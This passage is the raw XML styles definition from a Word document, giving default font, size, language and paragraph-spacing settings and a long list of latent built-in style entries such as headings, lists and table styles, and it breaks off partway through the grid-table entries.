 <w:styles xmlns:mc=\"http://schemas.openxmlformats.org/markup-compatibility/2006\" xmlns:r=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships\" xmlns:w=\"http://schemas.openxmlformats.org/wordprocessingml/2006/main\" xmlns:w14=\"http://schemas.microsoft.com/office/word/2010/wordml\" xmlns:w15=\"http://schemas.microsoft.com/office/word/2012/wordml\" xmlns:w16se=\"http://schemas.microsoft.com/office/word/2015/wordml/symex\" mc:Ignorable=\"w14 w15 w16se\"><w:docDefaults><w:rPrDefault><w:rPr><w:rFonts w:asciiTheme=\"minorHAnsi\" w:eastAsiaTheme=\"minorHAnsi\" w:hAnsiTheme=\"minorHAnsi\" w:cstheme=\"minorBidi\"/><w:sz w:val=\"22\"/><w:szCs w:val=\"22\"/><w:lang w:val=\"en-US\" w:eastAsia=\"en-US\" w:bidi=\"ar-SA\"/></w:rPr></w:rPrDefault><w:pPrDefault><w:pPr><w:spacing w:after=\"160\" w:line=\"259\" w:lineRule=\"auto\"/></w:pPr></w:pPrDefault></w:docDefaults><w:latentStyles w:defLockedState=\"0\" w:defUIPriority=\"99\" w:defSemiHidden=\"0\" w:defUnhideWhenUsed=\"0\" w:defQFormat=\"0\" w:count=\"371\"><w:lsdException w:name=\"Normal\" w:uiPriority=\"0\" w:qFormat=\"1\"/><w:lsdException w:name=\"heading 1\" w:uiPriority=\"9\" w:qFormat=\"1\"/><w:lsdException w:name=\"heading 2\" w:semiHidden=\"1\" w:uiPriority=\"9\" w:unhideWhenUsed=\"1\" w:qFormat=\"1\"/><w:lsdException w:name=\"heading 3\" w:semiHidden=\"1\" w:uiPriority=\"9\" w:unhideWhenUsed=\"1\" w:qFormat=\"1\"/><w:lsdException w:name=\"heading 4\" w:semiHidden=\"1\" w:uiPriority=\"9\" w:unhideWhenUsed=\"1\" w:qFormat=\"1\"/><w:lsdException w:name=\"heading 5\" w:semiHidden=\"1\" w:uiPriority=\"9\" w:unhideWhenUsed=\"1\" w:qFormat=\"1\"/><w:lsdException w:name=\"heading 6\" w:semiHidden=\"1\" w:uiPriority=\"9\" w:unhideWhenUsed=\"1\" w:qFormat=\"1\"/><w:lsdException w:name=\"heading 7\" w:semiHidden=\"1\" w:uiPriority=\"9\" w:unhideWhenUsed=\"1\" w:qFormat=\"1\"/><w:lsdException w:name=\"heading 8\" w:semiHidden=\"1\" w:uiPriority=\"9\" w:unhideWhenUsed=\"1\" w:qFormat=\"1\"/><w:lsdException w:name=\"heading 9\" w:semiHidden=\"1\" w:uiPriority=\"9\" w:unhideWhenUsed=\"1\" w:qFormat=\"1\"/><w:lsdException w:name=\"index 1\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"index 2\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"index 3\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"index 4\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"index 5\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"index 6\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"index 7\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"index 8\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"index 9\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"toc 1\" w:semiHidden=\"1\" w:uiPriority=\"39\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"toc 2\" w:semiHidden=\"1\" w:uiPriority=\"39\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"toc 3\" w:semiHidden=\"1\" w:uiPriority=\"39\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"toc 4\" w:semiHidden=\"1\" w:uiPriority=\"39\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"toc 5\" w:semiHidden=\"1\" w:uiPriority=\"39\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"toc 6\" w:semiHidden=\"1\" w:uiPriority=\"39\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"toc 7\" w:semiHidden=\"1\" w:uiPriority=\"39\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"toc 8\" w:semiHidden=\"1\" w:uiPriority=\"39\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"toc 9\" w:semiHidden=\"1\" w:uiPriority=\"39\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"Normal Indent\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"footnote text\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"annotation text\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"header\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"footer\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"index heading\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"caption\" w:semiHidden=\"1\" w:uiPriority=\"35\" w:unhideWhenUsed=\"1\" w:qFormat=\"1\"/><w:lsdException w:name=\"table of figures\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"envelope address\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"envelope return\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"footnote reference\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"annotation reference\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"line number\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"page number\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"endnote reference\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"endnote text\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"table of authorities\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"macro\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"toa heading\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"List\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"List Bullet\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"List Number\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"List 2\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"List 3\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"List 4\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"List 5\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"List Bullet 2\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"List Bullet 3\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"List Bullet 4\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"List Bullet 5\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"List Number 2\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"List Number 3\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"List Number 4\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"List Number 5\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"Title\" w:uiPriority=\"10\" w:qFormat=\"1\"/><w:lsdException w:name=\"Closing\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"Signature\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"Default Paragraph Font\" w:semiHidden=\"1\" w:uiPriority=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"Body Text\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"Body Text Indent\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"List Continue\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"List Continue 2\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"List Continue 3\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"List Continue 4\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"List Continue 5\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"Message Header\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"Subtitle\" w:uiPriority=\"11\" w:qFormat=\"1\"/><w:lsdException w:name=\"Salutation\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"Date\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"Body Text First Indent\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"Body Text First Indent 2\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"Note Heading\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"Body Text 2\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"Body Text 3\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"Body Text Indent 2\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"Body Text Indent 3\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"Block Text\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"Hyperlink\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"FollowedHyperlink\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"Strong\" w:uiPriority=\"22\" w:qFormat=\"1\"/><w:lsdException w:name=\"Emphasis\" w:uiPriority=\"20\" w:qFormat=\"1\"/><w:lsdException w:name=\"Document Map\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"Plain Text\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"E-mail Signature\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"HTML Top of Form\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"HTML Bottom of Form\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"Normal (Web)\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"HTML Acronym\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"HTML Address\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"HTML Cite\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"HTML Code\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"HTML Definition\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"HTML Keyboard\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"HTML Preformatted\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"HTML Sample\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"HTML Typewriter\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"HTML Variable\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"Normal Table\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"annotation subject\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"No List\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"Outline List 1\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"Outline List 2\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"Outline List 3\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"Table Simple 1\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"Table Simple 2\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"Table Simple 3\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"Table Classic 1\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"Table Classic 2\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"Table Classic 3\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"Table Classic 4\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"Table Colorful 1\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"Table Colorful 2\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"Table Colorful 3\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"Table Columns 1\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"Table Columns 2\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"Table Columns 3\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"Table Columns 4\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"Table Columns 5\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"Table Grid 1\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"Table Grid 2\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"Table Grid 3\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"Table Grid 4\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"Table Grid 5\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"Table Grid 6\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"Table Grid 7\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"Table Grid 8\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"Table List 1\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"Table List 2\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"Table List 3\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"Table List 4\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"Table List 5\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"Table List 6\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"Table List 7\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"Table List 8\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"Table 3D effects 1\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"Table 3D effects 2\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"Table 3D effects 3\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"Table Contemporary\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"Table Elegant\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"Table Professional\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"Table Subtle 1\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"Table Subtle 2\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"Table Web 1\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"Table Web 2\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"Table Web 3\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"Balloon Text\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"Table Grid\" w:uiPriority=\"39\"/><w:lsdException w:name=\"Table Theme\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"Placeholder Text\" w:semiHidden=\"1\"/><w:lsdException w:name=\"No Spacing\" w:uiPriority=\"1\" w:qFormat=\"1\"/><w:lsdException w:name=\"Light Shading\" w:uiPriority=\"60\"/><w:lsdException w:name=\"Light List\" w:uiPriority=\"61\"/><w:lsdException w:name=\"Light Grid\" w:uiPriority=\"62\"/><w:lsdException w:name=\"Medium Shading 1\" w:uiPriority=\"63\"/><w:lsdException w:name=\"Medium Shading 2\" w:uiPriority=\"64\"/><w:lsdException w:name=\"Medium List 1\" w:uiPriority=\"65\"/><w:lsdException w:name=\"Medium List 2\" w:uiPriority=\"66\"/><w:lsdException w:name=\"Medium Grid 1\" w:uiPriority=\"67\"/><w:lsdException w:name=\"Medium Grid 2\" w:uiPriority=\"68\"/><w:lsdException w:name=\"Medium Grid 3\" w:uiPriority=\"69\"/><w:lsdException w:name=\"Dark List\" w:uiPriority=\"70\"/><w:lsdException w:name=\"Colorful Shading\" w:uiPriority=\"71\"/><w:lsdException w:name=\"Colorful List\" w:uiPriority=\"72\"/><w:lsdException w:name=\"Colorful Grid\" w:uiPriority=\"73\"/><w:lsdException w:name=\"Light Shading Accent 1\" w:uiPriority=\"60\"/><w:lsdException w:name=\"Light List Accent 1\" w:uiPriority=\"61\"/><w:lsdException w:name=\"Light Grid Accent 1\" w:uiPriority=\"62\"/><w:lsdException w:name=\"Medium Shading 1 Accent 1\" w:uiPriority=\"63\"/><w:lsdException w:name=\"Medium Shading 2 Accent 1\" w:uiPriority=\"64\"/><w:lsdException w:name=\"Medium List 1 Accent 1\" w:uiPriority=\"65\"/><w:lsdException w:name=\"Revision\" w:semiHidden=\"1\"/><w:lsdException w:name=\"List Paragraph\" w:uiPriority=\"34\" w:qFormat=\"1\"/><w:lsdException w:name=\"Quote\" w:uiPriority=\"29\" w:qFormat=\"1\"/><w:lsdException w:name=\"Intense Quote\" w:uiPriority=\"30\" w:qFormat=\"1\"/><w:lsdException w:name=\"Medium List 2 Accent 1\" w:uiPriority=\"66\"/><w:lsdException w:name=\"Medium Grid 1 Accent 1\" w:uiPriority=\"67\"/><w:lsdException w:name=\"Medium Grid 2 Accent 1\" w:uiPriority=\"68\"/><w:lsdException w:name=\"Medium Grid 3 Accent 1\" w:uiPriority=\"69\"/><w:lsdException w:name=\"Dark List Accent 1\" w:uiPriority=\"70\"/><w:lsdException w:name=\"Colorful Shading Accent 1\" w:uiPriority=\"71\"/><w:lsdException w:name=\"Colorful List Accent 1\" w:uiPriority=\"72\"/><w:lsdException w:name=\"Colorful Grid Accent 1\" w:uiPriority=\"73\"/><w:lsdException w:name=\"Light Shading Accent 2\" w:uiPriority=\"60\"/><w:lsdException w:name=\"Light List Accent 2\" w:uiPriority=\"61\"/><w:lsdException w:name=\"Light Grid Accent 2\" w:uiPriority=\"62\"/><w:lsdException w:name=\"Medium Shading 1 Accent 2\" w:uiPriority=\"63\"/><w:lsdException w:name=\"Medium Shading 2 Accent 2\" w:uiPriority=\"64\"/><w:lsdException w:name=\"Medium List 1 Accent 2\" w:uiPriority=\"65\"/><w:lsdException w:name=\"Medium List 2 Accent 2\" w:uiPriority=\"66\"/><w:lsdException w:name=\"Medium Grid 1 Accent 2\" w:uiPriority=\"67\"/><w:lsdException w:name=\"Medium Grid 2 Accent 2\" w:uiPriority=\"68\"/><w:lsdException w:name=\"Medium Grid 3 Accent 2\" w:uiPriority=\"69\"/><w:lsdException w:name=\"Dark List Accent 2\" w:uiPriority=\"70\"/><w:lsdException w:name=\"Colorful Shading Accent 2\" w:uiPriority=\"71\"/><w:lsdException w:name=\"Colorful List Accent 2\" w:uiPriority=\"72\"/><w:lsdException w:name=\"Colorful Grid Accent 2\" w:uiPriority=\"73\"/><w:lsdException w:name=\"Light Shading Accent 3\" w:uiPriority=\"60\"/><w:lsdException w:name=\"Light List Accent 3\" w:uiPriority=\"61\"/><w:lsdException w:name=\"Light Grid Accent 3\" w:uiPriority=\"62\"/><w:lsdException w:name=\"Medium Shading 1 Accent 3\" w:uiPriority=\"63\"/><w:lsdException w:name=\"Medium Shading 2 Accent 3\" w:uiPriority=\"64\"/><w:lsdException w:name=\"Medium List 1 Accent 3\" w:uiPriority=\"65\"/><w:lsdException w:name=\"Medium List 2 Accent 3\" w:uiPriority=\"66\"/><w:lsdException w:name=\"Medium Grid 1 Accent 3\" w:uiPriority=\"67\"/><w:lsdException w:name=\"Medium Grid 2 Accent 3\" w:uiPriority=\"68\"/><w:lsdException w:name=\"Medium Grid 3 Accent 3\" w:uiPriority=\"69\"/><w:lsdException w:name=\"Dark List Accent 3\" w:uiPriority=\"70\"/><w:lsdException w:name=\"Colorful Shading Accent 3\" w:uiPriority=\"71\"/><w:lsdException w:name=\"Colorful List Accent 3\" w:uiPriority=\"72\"/><w:lsdException w:name=\"Colorful Grid Accent 3\" w:uiPriority=\"73\"/><w:lsdException w:name=\"Light Shading Accent 4\" w:uiPriority=\"60\"/><w:lsdException w:name=\"Light List Accent 4\" w:uiPriority=\"61\"/><w:lsdException w:name=\"Light Grid Accent 4\" w:uiPriority=\"62\"/><w:lsdException w:name=\"Medium Shading 1 Accent 4\" w:uiPriority=\"63\"/><w:lsdException w:name=\"Medium Shading 2 Accent 4\" w:uiPriority=\"64\"/><w:lsdException w:name=\"Medium List 1 Accent 4\" w:uiPriority=\"65\"/><w:lsdException w:name=\"Medium List 2 Accent 4\" w:uiPriority=\"66\"/><w:lsdException w:name=\"Medium Grid 1 Accent 4\" w:uiPriority=\"67\"/><w:lsdException w:name=\"Medium Grid 2 Accent 4\" w:uiPriority=\"68\"/><w:lsdException w:name=\"Medium Grid 3 Accent 4\" w:uiPriority=\"69\"/><w:lsdException w:name=\"Dark List Accent 4\" w:uiPriority=\"70\"/><w:lsdException w:name=\"Colorful Shading Accent 4\" w:uiPriority=\"71\"/><w:lsdException w:name=\"Colorful List Accent 4\" w:uiPriority=\"72\"/><w:lsdException w:name=\"Colorful Grid Accent 4\" w:uiPriority=\"73\"/><w:lsdException w:name=\"Light Shading Accent 5\" w:uiPriority=\"60\"/><w:lsdException w:name=\"Light List Accent 5\" w:uiPriority=\"61\"/><w:lsdException w:name=\"Light Grid Accent 5\" w:uiPriority=\"62\"/><w:lsdException w:name=\"Medium Shading 1 Accent 5\" w:uiPriority=\"63\"/><w:lsdException w:name=\"Medium Shading 2 Accent 5\" w:uiPriority=\"64\"/><w:lsdException w:name=\"Medium List 1 Accent 5\" w:uiPriority=\"65\"/><w:lsdException w:name=\"Medium List 2 Accent 5\" w:uiPriority=\"66\"/><w:lsdException w:name=\"Medium Grid 1 Accent 5\" w:uiPriority=\"67\"/><w:lsdException w:name=\"Medium Grid 2 Accent 5\" w:uiPriority=\"68\"/><w:lsdException w:name=\"Medium Grid 3 Accent 5\" w:uiPriority=\"69\"/><w:lsdException w:name=\"Dark List Accent 5\" w:uiPriority=\"70\"/><w:lsdException w:name=\"Colorful Shading Accent 5\" w:uiPriority=\"71\"/><w:lsdException w:name=\"Colorful List Accent 5\" w:uiPriority=\"72\"/><w:lsdException w:name=\"Colorful Grid Accent 5\" w:uiPriority=\"73\"/><w:lsdException w:name=\"Light Shading Accent 6\" w:uiPriority=\"60\"/><w:lsdException w:name=\"Light List Accent 6\" w:uiPriority=\"61\"/><w:lsdException w:name=\"Light Grid Accent 6\" w:uiPriority=\"62\"/><w:lsdException w:name=\"Medium Shading 1 Accent 6\" w:uiPriority=\"63\"/><w:lsdException w:name=\"Medium Shading 2 Accent 6\" w:uiPriority=\"64\"/><w:lsdException w:name=\"Medium List 1 Accent 6\" w:uiPriority=\"65\"/><w:lsdException w:name=\"Medium List 2 Accent 6\" w:uiPriority=\"66\"/><w:lsdException w:name=\"Medium Grid 1 Accent 6\" w:uiPriority=\"67\"/><w:lsdException w:name=\"Medium Grid 2 Accent 6\" w:uiPriority=\"68\"/><w:lsdException w:name=\"Medium Grid 3 Accent 6\" w:uiPriority=\"69\"/><w:lsdException w:name=\"Dark List Accent 6\" w:uiPriority=\"70\"/><w:lsdException w:name=\"Colorful Shading Accent 6\" w:uiPriority=\"71\"/><w:lsdException w:name=\"Colorful List Accent 6\" w:uiPriority=\"72\"/><w:lsdException w:name=\"Colorful Grid Accent 6\" w:uiPriority=\"73\"/><w:lsdException w:name=\"Subtle Emphasis\" w:uiPriority=\"19\" w:qFormat=\"1\"/><w:lsdException w:name=\"Intense Emphasis\" w:uiPriority=\"21\" w:qFormat=\"1\"/><w:lsdException w:name=\"Subtle Reference\" w:uiPriority=\"31\" w:qFormat=\"1\"/><w:lsdException w:name=\"Intense Reference\" w:uiPriority=\"32\" w:qFormat=\"1\"/><w:lsdException w:name=\"Book Title\" w:uiPriority=\"33\" w:qFormat=\"1\"/><w:lsdException w:name=\"Bibliography\" w:semiHidden=\"1\" w:uiPriority=\"37\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"TOC Heading\" w:semiHidden=\"1\" w:uiPriority=\"39\" w:unhideWhenUsed=\"1\" w:qFormat=\"1\"/><w:lsdException w:name=\"Plain Table 1\" w:uiPriority=\"41\"/><w:lsdException w:name=\"Plain Table 2\" w:uiPriority=\"42\"/><w:lsdException w:name=\"Plain Table 3\" w:uiPriority=\"43\"/><w:lsdException w:name=\"Plain Table 4\" w:uiPriority=\"44\"/><w:lsdException w:name=\"Plain Table 5\" w:uiPriority=\"45\"/><w:lsdException w:name=\"Grid Table Light\" w:uiPriority=\"40\"/><w:lsdException w:name=\"Grid Table 1 Light\" w:uiPriority=\"46\"/><w:lsdException w:name=\"Grid Table 2\" w:uiPriority=\"47\"/><w:lsdException w:name=\"Grid Table 3\" w:uiPriority=\"48\"/><w:lsdException w:name=\"Grid Table 4\" w:uiPriority=\"49\"/><w:lsdException w:name=\"Grid Table 5 Dark\" w:uiPriority=\"50\"/><w:lsdException w:name=\"Grid Table 6 Colorful\" w:uiPriority=\"51\"/><w:lsdException w:name=\"Grid Table 7 Colorful\" w:uiPriority=\"52\"/><w:lsdException w:name=\"Grid Table 1 Light Accent 1\" w:uiPriority=\"46\"/><w:lsdException w:name=\"Grid Table 2 Accent 1\" w:uiPriority=\"47\"/><w:lsdException w:name=\"Grid Table 3 Accent 1\" w:uiPriority=\"48\"/><w:lsdException w:name=\"Grid Table 4 Accent 1\" w:uiPriority=\"49\"/><w:lsdException w:name=\"Grid Table 5 Dark Accent 1\" w:uiPriority=\"50\"/><w:lsdException w:name=\"Grid Table 6 Colorful Accent 1\" w:uiPriority=\"51\"/><w:lsdException w:name=\"Grid Table 7 Colorful Accent 1\" w:uiPriority=\"52\"/><w:lsdException w:name=\"Grid Table 1 Light Accent 2\" w:uiPriority=\"46\"/><w:lsdException w:name=\"Grid Table 2 Accent 2\" w:uiPriority=\"47\"/><w:lsdException w:name=\"Grid Table 3 Accent 2\" w:uiPriority=\"48\"/><w:lsdException w:name=\"Grid Table 4 Accent 2\" w:uiPriority=\"49\"/><w:lsdException w:name=\"Grid Table 5 Dark Accent 2\" w:uiPriority=\"50\"/><w:lsdException w:name=\"Grid Table 6 Colorful Accent 2\" w:uiPriority=\"51\"/><w:lsdException w:name=\"Grid Table 7 Colorful Accent 2\" w:uiPriority=\"52\"/><w:lsdException w:name=\"Grid Table 1 Light Accent 3\" w:uiPriority=\"46\"/><w:lsdException w:name=\"Grid Table 2 Accent 3\" w:uiPriority=\"47\"/><w:lsdException w:name=\"Grid Table 3 Accent 3\" w:uiPriority=\"48\"/><w:lsdException w:name=\"Grid Table 4 Accent 3\" w:uiPriority=\"49\"/><w:lsdException w:name=\"Grid Table 5 Dark Accent 3\" w:uiPriority=\"50\"/><w:lsdException w:name=\"Grid Table 6 Colorful Accent 3\" w:uiPriority=\"51\"/><w:lsdException w:name=\"Grid Table 7 Colorful Accent 3\" w:uiPriority=\"52\"/><w:lsdException w:name=\"Grid Table 1 Light Accent 4\" w:uiPriority=\"46\"/><w:lsdException w:name=\"Grid Table 2 Accent 4\" w:uiPriority=\"47\"/><w:lsdException w:name=\"Grid Table 3 Accent 